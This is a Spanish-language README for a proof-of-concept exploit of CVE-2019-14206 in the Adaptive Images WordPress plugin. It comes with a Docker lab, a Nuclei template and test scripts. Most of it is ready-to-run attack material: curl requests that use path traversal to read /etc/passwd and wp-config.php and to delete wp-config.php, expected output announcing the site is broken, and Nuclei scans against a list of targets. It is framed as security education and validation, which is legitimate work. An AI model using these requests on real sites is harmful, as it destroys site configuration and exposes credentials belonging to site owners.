
Exploit de prueba de concepto para CVE-2019-14206, que demuestra la eliminación arbitraria de archivos en el plugin Adaptive Images de WordPress. Incluye laboratorio Docker, plantilla Nuclei y scripts de prueba manuales para educación en seguridad y validación.
CVE-ID: CVE-2019-14206
Severidad: Alta (CVSS 6.5)
Plugin Afectado: Adaptive Images para WordPress
Versiones Afectadas: < 0.6.67
Esta vulnerabilidad permite que un atacante remoto no autenticado elimine archivos arbitrarios en el servidor WordPress explotando el plugin Adaptive Images.
// El plugin usa entrada del usuario SIN sanitización
$settings = $_REQUEST['adaptive-images-settings'];
// Construye la ruta del archivo con parámetros controlados por el atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// ELIMINA archivo arbitrario
unlink($cache_file);
# Verificar Nuclei
nuclei --version
# Verificar Bash
bash --version
# Verificar curl
curl --version
# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP no disponible (opcional)"
# Si estás en el directorio nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# O descarga los archivos necesarios
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Verificar si los archivos existen
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Ejecuta la demostración completa que simula toda la explotación:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
Qué sucede:
Salida esperada:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Si Docker está corriendo
docker-compose up -d
# Si Docker NO está corriendo, usa el simulador
./docker-test-full.sh
# El entorno estará disponible en
# http://localhost:8888
# Verificar si el script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Prueba LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Prueba de Eliminación de Archivos
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar si wp-config.php fue eliminado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Crear archivo de objetivos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Escaneo básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Escaneo detallado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Escaneo con depuración (OBLIGATORIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Guardar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Ver resultados
cat results.txt
# Resultados positivos tendrán:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Intentar leer /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Intentar leer wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Resultado esperado (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Verificar si wp-config.php existe ANTES
ls -la wp-config.php
# Ejecutar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar si wp-config.php fue eliminado DESPUÉS
ls -la wp-config.php
Resultado esperado (Eliminación de Archivos):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found